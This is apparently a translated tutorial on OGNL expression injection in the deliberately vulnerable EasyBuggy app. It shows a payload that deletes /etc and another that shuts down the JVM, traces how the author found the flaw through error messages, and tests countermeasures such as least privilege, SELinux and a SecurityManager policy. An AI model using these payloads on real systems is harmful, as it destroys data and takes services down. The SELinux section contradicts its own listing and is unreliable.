Let's actually try it. The target directory should be / etc
. If you check the current directory structure under /
with the ll
( ls -la
) command, it will be as follows.
$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.277 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 2 07:39 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.3 root root 4096 June 2 07:41 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var
Make a backup before running.
$ cp -pr /etc etc_bk
Enter @ Runtime @ getRuntime (). exec ('rm -fr / etc')
and click the Calculate button.
Then run the ll
command again.
$ ll /
90 in total
dr-xr-xr-x.2 0 0 4096 April 22 18:46 2017 bin
dr-xr-xr-x.5 0 0 5120 April 26 12:53 2017 boot
drwxr-xr-x.20 0 0 3820 June 1 13:57 2017 dev
drwxr-xr-x.4 0 0 4096 April 1 15:41 2016 home
dr-xr-xr-x.11 0 0 4096 April 19 12:20 2017 lib
dr-xr-xr-x.10 0 0 12288 April 22 18:46 2017 lib64
drwx------.2 0 0 16384 August 7 16:21 2015 lost+found
drwxr-xr-x.2 0 0 4096 March 18 11:24 2017 media
drwxr-xr-x.4 0 0 4096 November 15 09:00 2015 mnt
drwxr-xr-x.8 0 0 4096 April 1 12:49 2017 opt
dr-xr-xr-x.296 0 0 0 June 1 13:56 2017 proc
dr-xr-x---.78 0 0 4096 June 9 14:09 2017 root
dr-xr-xr-x.2 0 0 12288 April 19 18:27 2017 sbin
drwxr-xr-x.7 0 0 0 June 1 13:56 2017 selinux
drwxr-xr-x.2 0 0 4096 September 23 11:50 2011 srv
drwxr-xr-x 13 0 0 0 June 1 13:56 2017 sys
drwxrwxrwx.8 0 0 4096 June 8 14:31 2017 tmp
drwxr-xr-x.14 0 0 4096 September 22 23:32 2016 usr
drwxr-xr-x.23 0 0 4096 October 5 08:12 2016 var
The directory / etc
is gone. This is OS command injection. I deleted / etc
here, but ** of course you can delete other directories, and you can use commands other than the rm
command. Since you can manipulate OS commands, various attacks are possible. ** **
How Attackers Find Vulnerabilities
You might think, "But the attacker can't know the string that causes the problem (@ Runtime @ ...
) ??" In this application, the attack method of the vulnerability is intentionally described on the screen, but of course there is no such thing in a normal application. How do attackers find vulnerabilities?
** Tips are in the error message. ** Error messages can also be a source of guesswork for an attacker's implementation of an application.
Let's display an error message with various kinds of invalid input values. For example, if you enter Math.sqrt (5x)
on this screen and click the calculate button, you will see the following error:
An English message follows "Illegal formula". If you have experience developing applications, you might guess that the error message returned by some library is concatenated as it is after "Illegal formula".
Next, let Math
be the fully qualified class name, enterjava.lang.Math.sqrt (5)
and click the calculate button.
An error message was output indicating that "@
" (at sign) that should not have been entered was entered. "@
" Seems to have some meaning.
In addition, enter sqrt (5)
without Math.
and click the calculate button. You will see an error similar to the following:
This time, the keyword "ʻognl.OgnlContext`" that I did not enter appeared. Looking at this, if you are a knowledgeable person, you can guess that it is the technology called "** OGNL **" that realizes this function. OGNL is a library of expression languages with Java-like grammar.
Looking at OGNL Specifications, there is the following description.
Calling Static Methods
You can call a static method using the syntax @class@method(args).
It seems that static method calls can be achieved with @ class @ method (args)
.
"That means ... inside the application, you might just replace Math.
in the input value with @ Math @
and run it as an OGNL expression:" You can guess.
Math.sqrt (5)
→ Replace with @ Math @ sqrt (5)
→ Execute as OGNL expression
To see if this guess is correct, try typing @ System @ currentTimeMillis ()
.
@ System @ currentTimeMillis ()
→ @ System @ currentTimeMillis ()
remains (not replaced) → Execute as OGNL expression
If correct, you should be able to get the elapsed time in milliseconds since midnight, January 1, 1970.
As the results show, we can determine that the guess is likely to be correct.
At this point, you can imagine typing "@ System @ exit (0)
" to shut down the web application process, or before that ...: sunglasses :.
What kind of implementation is it
What kind of implementation is it actually? Take a look at the Source Code (https://github.com/k-tamura/easybuggy/blob/master/src/main/java/org/t246osslab/easybuggy/vulnerabilities/OGNLExpressionInjectionServlet.java). The important parts are:
try {
Object expr = Ognl.parseExpression(expression.replaceAll("Math\\.", "@Math@"));
value = Ognl.getValue(expr, ctx);
} catch (OgnlException e) {
isValid = false;
if (e.getReason() != null) {
errMessage = e.getReason().getMessage();
}
As you can guess, I just replaced Math.
with@ Math @
and ran it as an OGNL expression.
By the way, the OS command injection was executed this time, but since Java code can also be executed, it can also be called "** code injection ". Furthermore, it can be said to be " OGNL type injection **" when classified in more detail.
About OGNL injection
OGNL-style injection was popularized by the well-known web application framework "** Struts 2 **". In March of this year, a vulnerability in OGNL injection was found in Struts 2, causing damage such as information leakage on multiple websites. It is rumored that a large number of fraudulent requests have been sent to Japanese servers from overseas. I've actually tried this vulnerability (in my local Struts app, of course), but it's ** a very easy and dangerous attack **.
It is this vulnerability that accounts for a significant proportion of all reported Struts 2 vulnerabilities. OGNL expressions are used in various parts of Struts 2, and regular expressions are used to check the validity of expressions so that OGNL expression injection does not occur in each part. However, even if a regular expression that addresses the vulnerability is released, an attack method with a new character string that bypasses it has been found, and the current situation is that it has not yet reached a fundamental solution.
Countermeasures for OS command / code injection
So what kind of measures should be taken? The following can be thought of as countermeasures.
--In the first place, we will not create a function that includes such a risk (rejected at the design stage)
--Consider another implementation method
--Do not return implementation-specific error messages to users
--Perform a validation check of the input value
--Run web application with appropriate user privileges (for example, Tomcat user privileges)
--Protect with OS features (Unix chroot jail, AppArmor, SELinux, etc.)
--Secure with JVM functionality (Security Manager)
Let's actually do some of these.
Run with appropriate user privileges
What if I'm running a web application other than the root
user? Let's change to the tomcat
user and check.
$ su tomcat
After launching the web application, type @ Runtime @ getRuntime (). exec ('rm -fr / etc')
and click the Calculate button. No error was displayed. What happened?
$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.296 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 9 23:09 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.8 root root 4096 June 9 23:11 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var
As you can see, / etc
has not been deleted. That said, commands that can be executed by the user running the web application (such as rm -fr / home / tomcat / anydir
) can also be executed by this attack. However, that alone can be said to be a fairly effective measure.
Protect with OS functions (SELinux)
If SELinux is enabled, will it suppress OS command injection? Change to the root
user again to enable SELinux.
$ vi /etc/selinux/config
# SELINUX=disabled
SELINUX=enforcing
After making changes, restart CentOS. After launching the web application, type @ Runtime @ getRuntime (). exec ('rm -fr / etc')
and click the Calculate button.
$ ll /
90 in total
dr-xr-xr-x.2 0 0 4096 April 22 18:46 2017 bin
dr-xr-xr-x.5 0 0 5120 April 26 12:53 2017 boot
drwxr-xr-x.20 0 0 3820 June 1 13:57 2017 dev
drwxr-xr-x.4 0 0 4096 April 1 15:41 2016 home
dr-xr-xr-x.11 0 0 4096 April 19 12:20 2017 lib
dr-xr-xr-x.10 0 0 12288 April 22 18:46 2017 lib64
drwx------.2 0 0 16384 August 7 16:21 2015 lost+found
drwxr-xr-x.2 0 0 4096 March 18 11:24 2017 media
drwxr-xr-x.4 0 0 4096 November 15 09:00 2015 mnt
drwxr-xr-x.8 0 0 4096 April 1 12:49 2017 opt
dr-xr-xr-x.296 0 0 0 June 1 13:56 2017 proc
dr-xr-x---.78 0 0 4096 June 9 14:09 2017 root
dr-xr-xr-x.2 0 0 12288 April 19 18:27 2017 sbin
drwxr-xr-x.7 0 0 0 June 1 13:56 2017 selinux
drwxr-xr-x.2 0 0 4096 September 23 11:50 2011 srv
drwxr-xr-x 13 0 0 0 June 1 13:56 2017 sys
drwxrwxrwx.8 0 0 4096 June 8 14:31 2017 tmp
drwxr-xr-x.14 0 0 4096 September 22 23:32 2016 usr
drwxr-xr-x.23 0 0 4096 October 5 08:12 2016 var
It's gone ... It doesn't seem to protect anything other than SELinux's default directories (eg / selinux
). At least when SELinux, which is the default setting, is enabled, it seems that OS command injection has no effect.
Protect with JVM functionality (Security Manager)
Java has a feature called "** Security Manager **" that protects the operation of the JVM from malicious users. What if I had this enabled?
To enable SecurityManager, add the following to the options when starting easybuggy.jar.
-Djava.security.manager -Djava.security.policy=catalina.policy
* When starting EasyBuggy with the `mvn` command, uncomment the following line in pom.xml.
<!-- <argument>-Djava.security.manager</argument>
<argument>-Djava.security.policy=catalina.policy</argument> -->
|
Download catalina.policy
from here. This file does not prevent OS command injection by default, but you can prevent it by making the following modifications.
**-For Linux (CentOS 6.3) **
grant {
//Do not allow all operations on all files, only what you need
// permission java.io.FilePermission "<<ALL FILES>>", "write, read, execute, delete";
permission java.io.FilePermission "-", "write, read, execute, delete";
permission java.io.FilePermission "/usr/java/-", "write, read, execute";
permission java.io.FilePermission "/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/-", "write, read, execute";
・ ・ ・
** For Windows **
grant {
//Do not allow all operations on all files, only what you need
// permission java.io.FilePermission "<<ALL FILES>>", "write, read, execute, delete";
permission java.io.FilePermission "-", "write, read, execute, delete";
permission java.io.FilePermission "C:/Program Files/Java/-", "write, read, execute";
permission java.io.FilePermission "C:/Windows/Sun/Java/-", "write, read, execute";
・ ・ ・
(* Settings vary depending on the environment)
When the changes are complete, launch the web application with the option to enable Security Manager. Then type @ Runtime @ getRuntime (). exec ('rm -fr / etc')
and click the Calculate button.
OS command injection failed due to SecurityManager.
$ ll /
102 in total
dr-xr-xr-x.2 root root 4096 April 23 03:46 2017 bin
dr-xr-xr-x.5 root root 5120 April 26 21:53 2017 boot
drwxr-xr-x.20 root root 3820 June 1 22:57 2017 dev
drwxr-xr-x.119 root root 12288 June 1 22:57 2017 etc
drwxr-xr-x.4 root root 4096 April 2 00:41 2016 home
dr-xr-xr-x.11 root root 4096 April 19 21:20 2017 lib
dr-xr-xr-x.10 root root 12288 April 23 03:46 2017 lib64
drwx------.2 root root 16384 August 8 01:21 2015 lost+found
drwxr-xr-x.2 root root 4096 March 18 20:24 2017 media
drwxr-xr-x.4 root root 4096 November 15 18:00 2015 mnt
drwxr-xr-x.8 root root 4096 April 1 21:49 2017 opt
dr-xr-xr-x.296 root root 0 June 1 22:56 2017 proc
dr-xr-x---.78 root root 4096 June 9 23:09 2017 root
dr-xr-xr-x.2 root root 12288 April 20 03:27 2017 sbin
drwxr-xr-x.7 root root 0 June 1 22:56 2017 selinux
drwxr-xr-x.2 root root 4096 September 23 20:50 2011 srv
drwxr-xr-x 13 root root 0 June 1 22:56 2017 sys
drwxrwxrwx.8 root root 4096 June 9 23:11 2017 tmp
drwxr-xr-x.14 root root 4096 September 23 08:32 2016 usr
drwxr-xr-x.23 root root 4096 October 5 17:12 2016 var
You can also deny System.exit (n)
by commenting out the line following catalina.policy
.
permission java.lang.RuntimePermission "exitVM";
After commenting out and restarting EasyBuggy, type @ System @ exit (0)
and click the Calculate button.
In this way, you can also prevent the JVM from shutting down. SecurityManager is not intuitively easy to understand, so you have to understand it well and use it, but it can be said to be an effective countermeasure for OS command injection and code injection.
reference
-JVN iPedia Vulnerability Storm Information Database OS Command Injection